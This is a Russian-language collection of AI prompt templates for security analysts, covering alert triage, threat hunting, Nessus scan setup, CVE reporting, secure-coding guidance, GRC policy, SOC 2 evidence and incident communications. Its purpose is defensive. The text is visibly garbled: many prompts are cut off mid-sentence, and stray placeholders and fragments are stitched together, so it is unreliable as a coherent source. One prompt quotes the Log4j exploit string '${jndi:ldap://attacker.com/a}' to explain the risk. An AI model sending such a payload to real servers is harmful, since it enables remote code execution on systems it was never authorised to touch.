25 AI-подсказок, которые должен сохранить каждый аналитик безопасности (2026)

[PASTE_SANITIZED_ALERT_DATA]

[PASTE_SANITIZED_FIREWALL_LOGS]

.
1.  Простыми словами, что обычно означает эта сигнатура вредоносного ПО?
2.  Каково типичное поведение этого семейства вредоносного ПО? (например, вымогатель, инфостилер, RAT)
3.  Каковы 3-5 немедленных следующих шагов, которые должен предпринять младший аналитик для расследования хоста

-   **Основная приманка:** В электронном письме утверждалось, что "срочно требуется оплата счета", и пользователю предлагалось перейти по ссылке.
-   **URL:**

, сгенерируйте три различные гипотезы для поиска угроз.
Для каждой гипотезы укажите:
1.  Саму гипотезу.
2.  Необходимые источники данных (например, логи EDR, логи DNS, логи прокси).
3.  Пример запроса (на псевдоязыке запросов) для проверки гипотезы.
Пример формата:
**Гипотеза 1:** Злоумышленник использует запланированные задачи для обеспечения персистентности.
**Источник данных:** Логи создания процессов EDR, логи событий Windows (ID 4698).
**Запрос:**

[PASTE_CVE_LIST_AND_CVSS_SCORES]

.
Составьте четкое, краткое электронное письмо, которое:
1.  Начинается с указания уязвимости и затронутой системы (

Выступайте в роли консультанта по безопасности. Мне нужно настроить сканирование Tenable Nessus для нового сегмента нашей сети, который содержит `[SERVER_TYPES]` (например, веб-серверы, серверы баз данных, контроллеры домена).
Рекомендуйте конфигурацию политики сканирования Nessus. Ваша рекомендация должна охватывать:
-   **Шаблон сканирования:** С какого шаблона Nessus начать (например, Basic Network Scan, Credentialed Patch Audit).
-   **Учетные данные:** Почему необходимо сканирование с учетными данными.
-   **Плагины:** Какие семейства плагинов наиболее важны для включения для этих типов серверов.
-   **Частота:** Рекомендуемая частота сканирования (например, еженедельно, ежемесячно).
Предоставьте результат в виде набора четких рекомендаций с краткими обоснованиями для каждой.

, но мы определили, что это ложное срабатывание.
Мне нужно написать официальное обоснование для наших записей. Составьте абзац, объясняющий, *почему* это обнаружение является ложным срабатыванием.
Используйте следующую информацию:
-   **Обнаружение:** Сканер идентифицировал

Вы — аналитик по уязвимостям, отчитывающийся перед CISO. У меня есть список из 5 критических уязвимостей, обнаруженных на этой неделе.
Создайте сводную таблицу высокого уровня для отчета руководству. Таблица должна содержать следующие столбцы:
-   `Уязвимость (CVE)`
-   `Затронутые системы (количество)`
-   `Рекомендуемое действие`
-   `Назначенная команда`
-   `Предполагаемый срок устранения`
Заполните таблицу, используя эти данные:
-   **CVE-2026-1001:** Затрагивает 15 веб-серверов. Действие: Применить патч поставщика. Команда: Web Ops. Предполагаемый срок: 7 дней.
-   **CVE-2026-1002:** Затрагивает 50 рабочих станций. Действие: Развернуть обновленное ПО через SCCM. Команда: Desktop Engineering. Предполагаемый срок: 14 дней.
-   **CVE-2026-1003:** Затрагивает 2 контроллера домена. Действие: Применить изменение ключа реестра. Команда: Infrastructure. Предполагаемый срок: 3 дня.
-   **CVE-2026-1004:** Затрагивает 10 серверов Linux. Действие: Обновить ядро. Команда: Linux Ops. Предполагаемый срок: 10 дней.
-   **CVE-2026-1005:** Затрагивает 1 пользовательское приложение. Действие: Исправление кода разработчиком. Команда: AppDev. Предполагаемый срок: 30 дней.

на предмет потенциальных уязвимостей OWASP Top 10, в частности, ища:
-   Уязвимости инъекций (SQL, команд)
-   Недостатки аутентификации
-   Раскрытие конфиденциальных данных
-   Небезопасная десериализация
Для каждой найденной проблемы укажите:
1.  Номер уязвимой строки.
2.  Краткое объяснение уязвимости.
3.  Пример кода, показывающий, как это исправить.
Если проблем не найдено, укажите это.
Фрагмент кода:

) в библиотеке с открытым исходным кодом

Выступайте в роли главного инженера по безопасности. Напишите руководство по безопасному кодированию для нашей команды разработчиков на тему "Проверка входных данных".
Руководство должно быть документом Markdown, который включает:
-   Краткое, простое объяснение, почему проверка входных данных важна.
-   Раздел "Что делать" с 2-3 лучшими практиками (например, использовать белые списки, проверять на стороне сервера).
-   Раздел "Чего не делать" с 2-3 распространенными ошибками (например, полагаться только на валидацию на стороне клиента, использовать черные списки).
-   Короткий, четкий пример кода на `[LANGUAGE]`, показывающий "плохую" и "хорошую" реализацию.

, которая уязвима для SQL-инъекций.
Выполните рефакторинг кода, чтобы использовать параметризованные запросы (подготовленные операторы) для предотвращения этой уязвимости. Покажите блоки кода "до" и "после".
Уязвимый код:

)
-   Персональный токен доступа GitHub (например,

Выступайте в роли аналитика GRC. Мне нужно разработать новую корпоративную политику безопасности на тему "Допустимое использование AI-инструментов".
Политика должна быть структурирована со следующими разделами:
1.  **Цель:** Почему существует эта политика.
2.  **Область применения:** К кому применяется эта политика.
3.  **Положения политики:** Список правил, включая:
-   Запрет на использование публичных AI-инструментов с конфиденциальными данными компании или клиентов.
-   Требование использовать только одобренные компанией AI-платформы.
-   Рекомендации по проверке точности AI-генерируемого контента.
-   Заявление о владении данными и конфиденциальности.
4.  **Применение:** Последствия нарушения политики.
Сгенерируйте профессиональный черновик этой политики.

Я готовлюсь к аудиту. Мне нужно сопоставить наши существующие контроли ISO 27001 с критериями SOC 2 Trust Services.
Для следующего контроля ISO 27001 определите соответствующие критерии SOC 2, которым он помогает соответствовать.
**Контроль ISO 27001:** `[ISO_CONTROL_DESCRIPTION]` (например, "A.9.4.1: Ограничение доступа к информации")
Предоставьте соответствующий TSC SOC 2 и краткое однопредложенческое объяснение сопоставления.
Пример вывода:
**SOC 2 TSC:** CC6.1 - Безопасность логического доступа
**Объяснение:** Этот контроль напрямую поддерживает требование SOC 2 по ограничению логического доступа к информации и системам на основе ролей и обязанностей.

Вы — аналитик по соответствию безопасности, пишущий описание доказательств для аудита SOC 2. Контроль: "Организация проводит сканирование уязвимостей ежеквартально."
Напишите абзац, описывающий, как мы соответствуем этому контролю. Используйте следующие детали:
-   **Используемый инструмент:** Tenable.io
-   **Частота сканирования:** Ежемесячные аутентифицированные сканирования на всех производственных серверах.
-   **Отчетность:** Отчеты генерируются автоматически и просматриваются командой безопасности.
-   **Система тикетов:** Критические и высокие уязвимости автоматически генерируют тикеты в Jira, назначаемые владельцам систем.
-   **Доказательства:** "Пример отчета о сканировании за прошлый месяц (`[REPORT_NAME].pdf`) и скриншот расписания сканирования (`[SCHEDULE_SCREENSHOT].png`) приложены в качестве доказательств.

Я провожу оценку рисков для нашего нового развертывания `[CLOUD_SERVICE_NAME]`.
Сгенерируйте сценарий риска, связанный с "Недостаточными контролями доступа". Сценарий должен быть структурирован со следующими полями:
-   **Сценарий риска:** Краткое, однопредложенческое описание события.
-   **Субъект угрозы:** Кто может вызвать это (например, Вредоносный инсайдер, Внешний злоумышленник).
-   **Уязвимость:** Слабость, которая это позволяет (например, Чрезмерно разрешительные роли IAM).
-   **Воздействие:** Бизнес-результат, если это произойдет (например, Утечка данных, нарушение работы сервиса).
-   **Существующие контроли:** Что у нас есть в настоящее время (например, MFA, базовое логирование).
Заполните эту структуру для риска "Недостаточные контроли доступа".

Мне нужно объяснить риск неисправленной уязвимости Log4j (CVE-2021-44228) нетехническому комитету по рискам.
Переведите следующее техническое описание в простое, основанное на аналогии бизнес-заявление о риске. Избегайте жаргона, такого как RCE, JNDI и LDAP.
**Техническое описание:** "Уязвимость Log4j позволяет неаутентифицированное удаленное выполнение кода (RCE) путем логирования специально сформированной строки. Злоумышленник может отправить строку, такую как `${jndi:ldap://attacker.com/a}`, что заставляет сервер подключаться к системе злоумышленника и выполнять вредоносную полезную нагрузку."
Сосредоточьтесь на том, что это означает для бизнеса (например, "Это как оставить заднюю дверь незапертой...").

[PASTE_SANITIZED_AND_TIMESTAMPED_LOG_ENTRIES]

СРОЧНО: Эскалация инцидента безопасности - [INCIDENT_TYPE]

Вы — старший менеджер по реагированию на инциденты. Наша команда только что разрешила инцидент типа `[INCIDENT_TYPE]`.
Создайте подробный план для документа "Обзор после инцидента" (PIR). План должен включать все основные разделы и подпункты для ключевых тем, которые необходимо осветить в каждом.
Включите разделы для:
1.  Резюме для руководства
2.  Временная шкала инцидента (Ключевые события)
3.  Анализ первопричин (Что пошло не так?)
4.  Оценка воздействия (Бизнес, Техническое, Финансовое)
5.  Извлеченные уроки (Что прошло хорошо? Что прошло плохо?)
6.  Пункты действий (Таблица со столбцами: Действие, Ответственный, Срок выполнения)

Мы начинаем цифровое криминалистическое расследование на скомпрометированном хосте (`[HOSTNAME]`), связанное с инцидентом эксфильтрации данных.
Выступайте в роли ведущего криминалистического следователя. Сгенерируйте список из 10 ключевых вопросов, на которые должно ответить наше расследование. Вопросы должны быть сосредоточены на установлении полного масштаба и хронологии взлома.
Примеры:
-   Как злоумышленник получил первоначальный доступ к хосту?
-   Какие инструменты злоумышленник использовал на хосте?
-   Какие данные были доступны или эксфильтрованы с хоста?

Вы — руководитель отдела корпоративных коммуникаций, работающий с командой безопасности. Нам нужно отправить краткое внутреннее сообщение всем сотрудникам о недавнем инциденте безопасности, который был разрешен.
Инцидент был типа `[INCIDENT_TYPE]`, который вызвал `[IMPACT]`.
Составьте короткое, успокаивающее и нетехническое сообщение для всего персонала. Сообщение должно:
-   Признать, что произошел сбой.
-   Подтвердить, что проблема решена.
-   Поблагодарить команду безопасности.
-   Напомнить сотрудникам о необходимости сохранять бдительность и сообщать о подозрительной активности.
Не включайте технические детали об инциденте.